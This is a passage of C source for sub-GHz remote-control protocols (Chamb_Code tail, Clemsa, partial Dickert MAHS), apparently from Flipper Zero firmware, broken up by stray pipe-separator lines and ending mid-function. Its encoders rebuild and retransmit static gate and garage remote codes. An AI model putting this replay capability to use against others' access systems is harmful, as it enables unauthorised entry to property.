LevelDuration subghz_protocol_encoder_chamb_code_yield(void* context);
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolDecoderChamb_Code.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolDecoderChamb_Code* pointer to a SubGhzProtocolDecoderChamb_Code instance
|
||||
*/
|
||||
void* subghz_protocol_decoder_chamb_code_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolDecoderChamb_Code.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
|
||||
*/
|
||||
void subghz_protocol_decoder_chamb_code_free(void* context);
|
||||
|
||||
/**
|
||||
* Reset decoder SubGhzProtocolDecoderChamb_Code.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
|
||||
*/
|
||||
void subghz_protocol_decoder_chamb_code_reset(void* context);
|
||||
|
||||
/**
|
||||
* Parse a raw sequence of levels and durations received from the air.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
|
||||
* @param level Signal level true-high false-low
|
||||
* @param duration Duration of this level in, us
|
||||
*/
|
||||
void subghz_protocol_decoder_chamb_code_feed(void* context, bool level, uint32_t duration);
|
||||
|
||||
/**
|
||||
* Getting the hash sum of the last randomly received parcel.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
|
||||
* @return hash Hash sum
|
||||
*/
|
||||
uint8_t subghz_protocol_decoder_chamb_code_get_hash_data(void* context);
|
||||
|
||||
/**
|
||||
* Serialize data SubGhzProtocolDecoderChamb_Code.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_chamb_code_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset);
|
||||
|
||||
/**
|
||||
* Deserialize data SubGhzProtocolDecoderChamb_Code.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_chamb_code_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Getting a textual representation of the received data.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
|
||||
* @param output Resulting text
|
||||
*/
|
||||
void subghz_protocol_decoder_chamb_code_get_string(void* context, FuriString* output);
|
||||
@@ -0,0 +1,362 @@
|
||||
#include "clemsa.h"
|
||||
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
|
||||
// protocol BERNER / ELKA / TEDSEN / TELETASTER
|
||||
#define TAG "SubGhzProtocolClemsa"
|
||||
|
||||
#define DIP_P 0b11 //(+)
|
||||
#define DIP_O 0b10 //(0)
|
||||
#define DIP_N 0b00 //(-)
|
||||
|
||||
#define DIP_PATTERN "%c%c%c%c%c%c%c%c"
|
||||
#define SHOW_DIP_P(dip, check_dip) \
|
||||
((((dip >> 0xE) & 0x3) == check_dip) ? '*' : '_'), \
|
||||
((((dip >> 0xC) & 0x3) == check_dip) ? '*' : '_'), \
|
||||
((((dip >> 0xA) & 0x3) == check_dip) ? '*' : '_'), \
|
||||
((((dip >> 0x8) & 0x3) == check_dip) ? '*' : '_'), \
|
||||
((((dip >> 0x6) & 0x3) == check_dip) ? '*' : '_'), \
|
||||
((((dip >> 0x4) & 0x3) == check_dip) ? '*' : '_'), \
|
||||
((((dip >> 0x2) & 0x3) == check_dip) ? '*' : '_'), \
|
||||
((((dip >> 0x0) & 0x3) == check_dip) ? '*' : '_')
|
||||
|
||||
static const SubGhzBlockConst subghz_protocol_clemsa_const = {
|
||||
.te_short = 385,
|
||||
.te_long = 2695,
|
||||
.te_delta = 150,
|
||||
.min_count_bit_for_found = 18,
|
||||
};
|
||||
|
||||
struct SubGhzProtocolDecoderClemsa {
|
||||
SubGhzProtocolDecoderBase base;
|
||||
|
||||
SubGhzBlockDecoder decoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
};
|
||||
|
||||
struct SubGhzProtocolEncoderClemsa {
|
||||
SubGhzProtocolEncoderBase base;
|
||||
|
||||
SubGhzProtocolBlockEncoder encoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
};
|
||||
|
||||
typedef enum {
|
||||
ClemsaDecoderStepReset = 0,
|
||||
ClemsaDecoderStepSaveDuration,
|
||||
ClemsaDecoderStepCheckDuration,
|
||||
} ClemsaDecoderStep;
|
||||
|
||||
const SubGhzProtocolDecoder subghz_protocol_clemsa_decoder = {
|
||||
.alloc = subghz_protocol_decoder_clemsa_alloc,
|
||||
.free = subghz_protocol_decoder_clemsa_free,
|
||||
|
||||
.feed = subghz_protocol_decoder_clemsa_feed,
|
||||
.reset = subghz_protocol_decoder_clemsa_reset,
|
||||
|
||||
.get_hash_data = subghz_protocol_decoder_clemsa_get_hash_data,
|
||||
.serialize = subghz_protocol_decoder_clemsa_serialize,
|
||||
.deserialize = subghz_protocol_decoder_clemsa_deserialize,
|
||||
.get_string = subghz_protocol_decoder_clemsa_get_string,
|
||||
};
|
||||
|
||||
const SubGhzProtocolEncoder subghz_protocol_clemsa_encoder = {
|
||||
.alloc = subghz_protocol_encoder_clemsa_alloc,
|
||||
.free = subghz_protocol_encoder_clemsa_free,
|
||||
|
||||
.deserialize = subghz_protocol_encoder_clemsa_deserialize,
|
||||
.stop = subghz_protocol_encoder_clemsa_stop,
|
||||
.yield = subghz_protocol_encoder_clemsa_yield,
|
||||
};
|
||||
|
||||
const SubGhzProtocol subghz_protocol_clemsa = {
|
||||
.name = SUBGHZ_PROTOCOL_CLEMSA_NAME,
|
||||
.type = SubGhzProtocolTypeStatic,
|
||||
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
|
||||
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
|
||||
|
||||
.decoder = &subghz_protocol_clemsa_decoder,
|
||||
.encoder = &subghz_protocol_clemsa_encoder,
|
||||
};
|
||||
|
||||
void* subghz_protocol_encoder_clemsa_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolEncoderClemsa* instance = malloc(sizeof(SubGhzProtocolEncoderClemsa));
|
||||
|
||||
instance->base.protocol = &subghz_protocol_clemsa;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
|
||||
instance->encoder.repeat = 3;
|
||||
instance->encoder.size_upload = 52;
|
||||
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
|
||||
instance->encoder.is_running = false;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_clemsa_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderClemsa* instance = context;
|
||||
free(instance->encoder.upload);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
/**
|
||||
* Generating an upload from data.
|
||||
* @param instance Pointer to a SubGhzProtocolEncoderClemsa instance
|
||||
* @return true On success
|
||||
*/
|
||||
static bool subghz_protocol_encoder_clemsa_get_upload(SubGhzProtocolEncoderClemsa* instance) {
|
||||
furi_assert(instance);
|
||||
size_t index = 0;
|
||||
size_t size_upload = (instance->generic.data_count_bit * 2);
|
||||
if(size_upload > instance->encoder.size_upload) {
|
||||
FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
|
||||
return false;
|
||||
} else {
|
||||
instance->encoder.size_upload = size_upload;
|
||||
}
|
||||
|
||||
for(uint8_t i = instance->generic.data_count_bit; i > 1; i--) {
|
||||
if(bit_read(instance->generic.data, i - 1)) {
|
||||
//send bit 1
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_clemsa_const.te_long);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_clemsa_const.te_short);
|
||||
} else {
|
||||
//send bit 0
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_clemsa_const.te_short);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_clemsa_const.te_long);
|
||||
}
|
||||
}
|
||||
if(bit_read(instance->generic.data, 0)) {
|
||||
//send bit 1
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_clemsa_const.te_long);
|
||||
instance->encoder.upload[index++] = level_duration_make(
|
||||
false,
|
||||
(uint32_t)subghz_protocol_clemsa_const.te_short +
|
||||
subghz_protocol_clemsa_const.te_long * 7);
|
||||
} else {
|
||||
//send bit 0
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_clemsa_const.te_short);
|
||||
instance->encoder.upload[index++] = level_duration_make(
|
||||
false,
|
||||
(uint32_t)subghz_protocol_clemsa_const.te_long +
|
||||
subghz_protocol_clemsa_const.te_long * 7);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_clemsa_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderClemsa* instance = context;
|
||||
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
|
||||
do {
|
||||
ret = subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic,
|
||||
flipper_format,
|
||||
subghz_protocol_clemsa_const.min_count_bit_for_found);
|
||||
if(ret != SubGhzProtocolStatusOk) {
|
||||
break;
|
||||
}
|
||||
// Optional value
|
||||
flipper_format_read_uint32(
|
||||
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
|
||||
|
||||
if(!subghz_protocol_encoder_clemsa_get_upload(instance)) {
|
||||
ret = SubGhzProtocolStatusErrorEncoderGetUpload;
|
||||
break;
|
||||
}
|
||||
instance->encoder.is_running = true;
|
||||
|
||||
} while(false);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_clemsa_stop(void* context) {
|
||||
SubGhzProtocolEncoderClemsa* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
}
|
||||
|
||||
LevelDuration subghz_protocol_encoder_clemsa_yield(void* context) {
|
||||
SubGhzProtocolEncoderClemsa* instance = context;
|
||||
|
||||
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
|
||||
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void* subghz_protocol_decoder_clemsa_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolDecoderClemsa* instance = malloc(sizeof(SubGhzProtocolDecoderClemsa));
|
||||
instance->base.protocol = &subghz_protocol_clemsa;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_clemsa_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderClemsa* instance = context;
|
||||
free(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_clemsa_reset(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderClemsa* instance = context;
|
||||
instance->decoder.parser_step = ClemsaDecoderStepReset;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_clemsa_feed(void* context, bool level, uint32_t duration) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderClemsa* instance = context;
|
||||
|
||||
switch(instance->decoder.parser_step) {
|
||||
case ClemsaDecoderStepReset:
|
||||
if((!level) && (DURATION_DIFF(duration, subghz_protocol_clemsa_const.te_short * 51) <
|
||||
subghz_protocol_clemsa_const.te_delta * 25)) {
|
||||
instance->decoder.parser_step = ClemsaDecoderStepSaveDuration;
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
}
|
||||
break;
|
||||
|
||||
case ClemsaDecoderStepSaveDuration:
|
||||
if(level) {
|
||||
instance->decoder.te_last = duration;
|
||||
instance->decoder.parser_step = ClemsaDecoderStepCheckDuration;
|
||||
} else {
|
||||
instance->decoder.parser_step = ClemsaDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
|
||||
case ClemsaDecoderStepCheckDuration:
|
||||
if(!level) {
|
||||
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_clemsa_const.te_short) <
|
||||
subghz_protocol_clemsa_const.te_delta) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_clemsa_const.te_long) <
|
||||
subghz_protocol_clemsa_const.te_delta * 3)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
|
||||
instance->decoder.parser_step = ClemsaDecoderStepSaveDuration;
|
||||
} else if(
|
||||
(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_clemsa_const.te_long) <
|
||||
subghz_protocol_clemsa_const.te_delta * 3) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_clemsa_const.te_short) <
|
||||
subghz_protocol_clemsa_const.te_delta)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
|
||||
instance->decoder.parser_step = ClemsaDecoderStepSaveDuration;
|
||||
} else if(
|
||||
DURATION_DIFF(duration, subghz_protocol_clemsa_const.te_short * 51) <
|
||||
subghz_protocol_clemsa_const.te_delta * 25) {
|
||||
if(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_clemsa_const.te_short) <
|
||||
subghz_protocol_clemsa_const.te_delta) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
|
||||
} else if(
|
||||
DURATION_DIFF(instance->decoder.te_last, subghz_protocol_clemsa_const.te_long) <
|
||||
subghz_protocol_clemsa_const.te_delta * 3) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
|
||||
} else {
|
||||
instance->decoder.parser_step = ClemsaDecoderStepReset;
|
||||
}
|
||||
|
||||
if(instance->decoder.decode_count_bit ==
|
||||
subghz_protocol_clemsa_const.min_count_bit_for_found) {
|
||||
instance->generic.data = instance->decoder.decode_data;
|
||||
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
|
||||
|
||||
if(instance->base.callback)
|
||||
instance->base.callback(&instance->base, instance->base.context);
|
||||
}
|
||||
instance->decoder.parser_step = ClemsaDecoderStepSaveDuration;
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
|
||||
} else {
|
||||
instance->decoder.parser_step = ClemsaDecoderStepReset;
|
||||
}
|
||||
} else {
|
||||
instance->decoder.parser_step = ClemsaDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Analysis of received data
|
||||
* @param instance Pointer to a SubGhzBlockGeneric* instance
|
||||
*/
|
||||
static void subghz_protocol_clemsa_check_remote_controller(SubGhzBlockGeneric* instance) {
|
||||
instance->serial = (instance->data >> 2) & 0xFFFF;
|
||||
instance->btn = (instance->data & 0x03);
|
||||
}
|
||||
|
||||
uint8_t subghz_protocol_decoder_clemsa_get_hash_data(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderClemsa* instance = context;
|
||||
return subghz_protocol_blocks_get_hash_data(
|
||||
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_clemsa_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderClemsa* instance = context;
|
||||
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_clemsa_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderClemsa* instance = context;
|
||||
return subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic, flipper_format, subghz_protocol_clemsa_const.min_count_bit_for_found);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_clemsa_get_string(void* context, FuriString* output) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderClemsa* instance = context;
|
||||
subghz_protocol_clemsa_check_remote_controller(&instance->generic);
|
||||
//uint32_t data = (uint32_t)(instance->generic.data & 0xFFFFFF);
|
||||
|
||||
// push protocol data to global variable
|
||||
subghz_block_generic_global.btn_is_available = false;
|
||||
subghz_block_generic_global.current_btn = instance->generic.btn;
|
||||
subghz_block_generic_global.btn_length_bit = 2;
|
||||
//
|
||||
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s %dbit\r\n"
|
||||
"Key:%05lX Btn:%X\r\n"
|
||||
" +: " DIP_PATTERN "\r\n"
|
||||
" o: " DIP_PATTERN "\r\n"
|
||||
" -: " DIP_PATTERN "\r\n",
|
||||
instance->generic.protocol_name,
|
||||
instance->generic.data_count_bit,
|
||||
(uint32_t)(instance->generic.data & 0x3FFFF),
|
||||
instance->generic.btn,
|
||||
SHOW_DIP_P(instance->generic.serial, DIP_P),
|
||||
SHOW_DIP_P(instance->generic.serial, DIP_O),
|
||||
SHOW_DIP_P(instance->generic.serial, DIP_N));
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
#pragma once
|
||||
|
||||
#include "base.h"
|
||||
|
||||
#define SUBGHZ_PROTOCOL_CLEMSA_NAME "Clemsa"
|
||||
|
||||
typedef struct SubGhzProtocolDecoderClemsa SubGhzProtocolDecoderClemsa;
|
||||
typedef struct SubGhzProtocolEncoderClemsa SubGhzProtocolEncoderClemsa;
|
||||
|
||||
extern const SubGhzProtocolDecoder subghz_protocol_clemsa_decoder;
|
||||
extern const SubGhzProtocolEncoder subghz_protocol_clemsa_encoder;
|
||||
extern const SubGhzProtocol subghz_protocol_clemsa;
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolEncoderClemsa.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolEncoderClemsa* pointer to a SubGhzProtocolEncoderClemsa instance
|
||||
*/
|
||||
void* subghz_protocol_encoder_clemsa_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolEncoderClemsa.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderClemsa instance
|
||||
*/
|
||||
void subghz_protocol_encoder_clemsa_free(void* context);
|
||||
|
||||
/**
|
||||
* Deserialize and generating an upload to send.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderClemsa instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_clemsa_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Forced transmission stop.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderClemsa instance
|
||||
*/
|
||||
void subghz_protocol_encoder_clemsa_stop(void* context);
|
||||
|
||||
/**
|
||||
* Getting the level and duration of the upload to be loaded into DMA.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderClemsa instance
|
||||
* @return LevelDuration
|
||||
*/
|
||||
LevelDuration subghz_protocol_encoder_clemsa_yield(void* context);
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolDecoderClemsa.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolDecoderClemsa* pointer to a SubGhzProtocolDecoderClemsa instance
|
||||
*/
|
||||
void* subghz_protocol_decoder_clemsa_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolDecoderClemsa.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderClemsa instance
|
||||
*/
|
||||
void subghz_protocol_decoder_clemsa_free(void* context);
|
||||
|
||||
/**
|
||||
* Reset decoder SubGhzProtocolDecoderClemsa.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderClemsa instance
|
||||
*/
|
||||
void subghz_protocol_decoder_clemsa_reset(void* context);
|
||||
|
||||
/**
|
||||
* Parse a raw sequence of levels and durations received from the air.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderClemsa instance
|
||||
* @param level Signal level true-high false-low
|
||||
* @param duration Duration of this level in, us
|
||||
*/
|
||||
void subghz_protocol_decoder_clemsa_feed(void* context, bool level, uint32_t duration);
|
||||
|
||||
/**
|
||||
* Getting the hash sum of the last randomly received parcel.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderClemsa instance
|
||||
* @return hash Hash sum
|
||||
*/
|
||||
uint8_t subghz_protocol_decoder_clemsa_get_hash_data(void* context);
|
||||
|
||||
/**
|
||||
* Serialize data SubGhzProtocolDecoderClemsa.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderClemsa instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_clemsa_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset);
|
||||
|
||||
/**
|
||||
* Deserialize data SubGhzProtocolDecoderClemsa.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderClemsa instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_clemsa_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Getting a textual representation of the received data.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderClemsa instance
|
||||
* @param output Resulting text
|
||||
*/
|
||||
void subghz_protocol_decoder_clemsa_get_string(void* context, FuriString* output);
|
||||
@@ -0,0 +1,386 @@
|
||||
#include "dickert_mahs.h"
|
||||
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
|
||||
#include <furi.h>
|
||||
#include <furi_hal.h>
|
||||
#include <furi_hal_rtc.h>
|
||||
|
||||
#define TAG "SubGhzProtocolDicketMAHS"
|
||||
|
||||
static const SubGhzBlockConst subghz_protocol_dickert_mahs_const = {
|
||||
.te_short = 400,
|
||||
.te_long = 800,
|
||||
.te_delta = 100,
|
||||
.min_count_bit_for_found = 36,
|
||||
};
|
||||
|
||||
struct SubGhzProtocolDecoderDickertMAHS {
|
||||
SubGhzProtocolDecoderBase base;
|
||||
|
||||
SubGhzBlockDecoder decoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
|
||||
uint32_t tmp[2];
|
||||
uint8_t tmp_cnt;
|
||||
};
|
||||
|
||||
struct SubGhzProtocolEncoderDickertMAHS {
|
||||
SubGhzProtocolEncoderBase base;
|
||||
|
||||
SubGhzProtocolBlockEncoder encoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
};
|
||||
|
||||
typedef enum {
|
||||
DickertMAHSDecoderStepReset = 0,
|
||||
DickertMAHSDecoderStepInitial,
|
||||
DickertMAHSDecoderStepRecording,
|
||||
} DickertMAHSDecoderStep;
|
||||
|
||||
const SubGhzProtocolDecoder subghz_protocol_dickert_mahs_decoder = {
|
||||
.alloc = subghz_protocol_decoder_dickert_mahs_alloc,
|
||||
.free = subghz_protocol_decoder_dickert_mahs_free,
|
||||
|
||||
.feed = subghz_protocol_decoder_dickert_mahs_feed,
|
||||
.reset = subghz_protocol_decoder_dickert_mahs_reset,
|
||||
|
||||
.get_hash_data = subghz_protocol_decoder_dickert_mahs_get_hash_data,
|
||||
.serialize = subghz_protocol_decoder_dickert_mahs_serialize,
|
||||
.deserialize = subghz_protocol_decoder_dickert_mahs_deserialize,
|
||||
.get_string = subghz_protocol_decoder_dickert_mahs_get_string,
|
||||
};
|
||||
|
||||
const SubGhzProtocolEncoder subghz_protocol_dickert_mahs_encoder = {
|
||||
.alloc = subghz_protocol_encoder_dickert_mahs_alloc,
|
||||
.free = subghz_protocol_encoder_dickert_mahs_free,
|
||||
|
||||
.deserialize = subghz_protocol_encoder_dickert_mahs_deserialize,
|
||||
.stop = subghz_protocol_encoder_dickert_mahs_stop,
|
||||
.yield = subghz_protocol_encoder_dickert_mahs_yield,
|
||||
};
|
||||
|
||||
const SubGhzProtocol subghz_protocol_dickert_mahs = {
|
||||
.name = SUBGHZ_PROTOCOL_DICKERT_MAHS_NAME,
|
||||
.type = SubGhzProtocolTypeStatic,
|
||||
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
|
||||
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
|
||||
|
||||
.decoder = &subghz_protocol_dickert_mahs_decoder,
|
||||
.encoder = &subghz_protocol_dickert_mahs_encoder,
|
||||
};
|
||||
|
||||
static void subghz_protocol_encoder_dickert_mahs_parse_buffer(
|
||||
SubGhzProtocolDecoderDickertMAHS* instance,
|
||||
FuriString* output) {
|
||||
// We assume we have only decodes < 64 bit!
|
||||
uint64_t data = instance->generic.data;
|
||||
uint8_t bits[36] = {};
|
||||
|
||||
// Convert uint64_t into bit array
|
||||
for(int i = 35; i >= 0; i--) {
|
||||
if(data & 1) {
|
||||
bits[i] = 1;
|
||||
}
|
||||
data >>= 1;
|
||||
}
|
||||
|
||||
// Decode symbols
|
||||
FuriString* code = furi_string_alloc();
|
||||
for(size_t i = 0; i < 35; i += 2) {
|
||||
uint8_t dip = (bits[i] << 1) + bits[i + 1];
|
||||
// PLUS = 3, // 0b11
|
||||
// ZERO = 1, // 0b01
|
||||
// MINUS = 0, // 0x00
|
||||
if(dip == 0x01) {
|
||||
furi_string_cat(code, "0");
|
||||
} else if(dip == 0x00) {
|
||||
furi_string_cat(code, "-");
|
||||
} else if(dip == 0x03) {
|
||||
furi_string_cat(code, "+");
|
||||
} else {
|
||||
furi_string_cat(code, "?");
|
||||
}
|
||||
}
|
||||
|
||||
FuriString* user_dips = furi_string_alloc();
|
||||
FuriString* fact_dips = furi_string_alloc();
|
||||
furi_string_set_n(user_dips, code, 0, 10);
|
||||
furi_string_set_n(fact_dips, code, 10, 8);
|
||||
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s\r\n"
|
||||
"User-Dips:\t%s\r\n"
|
||||
"Fac-Code:\t%s\r\n",
|
||||
instance->generic.protocol_name,
|
||||
furi_string_get_cstr(user_dips),
|
||||
furi_string_get_cstr(fact_dips));
|
||||
furi_string_free(user_dips);
|
||||
furi_string_free(fact_dips);
|
||||
furi_string_free(code);
|
||||
}
|
||||
|
||||
void* subghz_protocol_encoder_dickert_mahs_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolEncoderDickertMAHS* instance = malloc(sizeof(SubGhzProtocolEncoderDickertMAHS));
|
||||
|
||||
instance->base.protocol = &subghz_protocol_dickert_mahs;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
|
||||
instance->encoder.repeat = 3;
|
||||
instance->encoder.size_upload = 128;
|
||||
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
|
||||
instance->encoder.is_running = false;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_dickert_mahs_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderDickertMAHS* instance = context;
|
||||
free(instance->encoder.upload);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
/**
|
||||
* Generating an upload from data.
|
||||
* @param instance Pointer to a SubGhzProtocolEncoderDickertMAHS instance
|
||||
* @return true On success
|
||||
*/
|
||||
static bool
|
||||
subghz_protocol_encoder_dickert_mahs_get_upload(SubGhzProtocolEncoderDickertMAHS* instance) {
|
||||
furi_assert(instance);
|
||||
size_t index = 0;
|
||||
size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
|
||||
if(size_upload > instance->encoder.size_upload) {
|
||||
FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
|
||||
return false;
|
||||
} else {
|
||||
instance->encoder.size_upload = size_upload;
|
||||
}
|
||||
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_dickert_mahs_const.te_short * 112);
|
||||
// Send start bit
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_dickert_mahs_const.te_short);
|
||||
|
||||
//Send key data
|
||||
for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
|
||||
if(bit_read(instance->generic.data, i - 1)) {
|
||||
//send bit 1
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_dickert_mahs_const.te_long);
|
||||
instance->encoder.upload[index++] =
|
||||
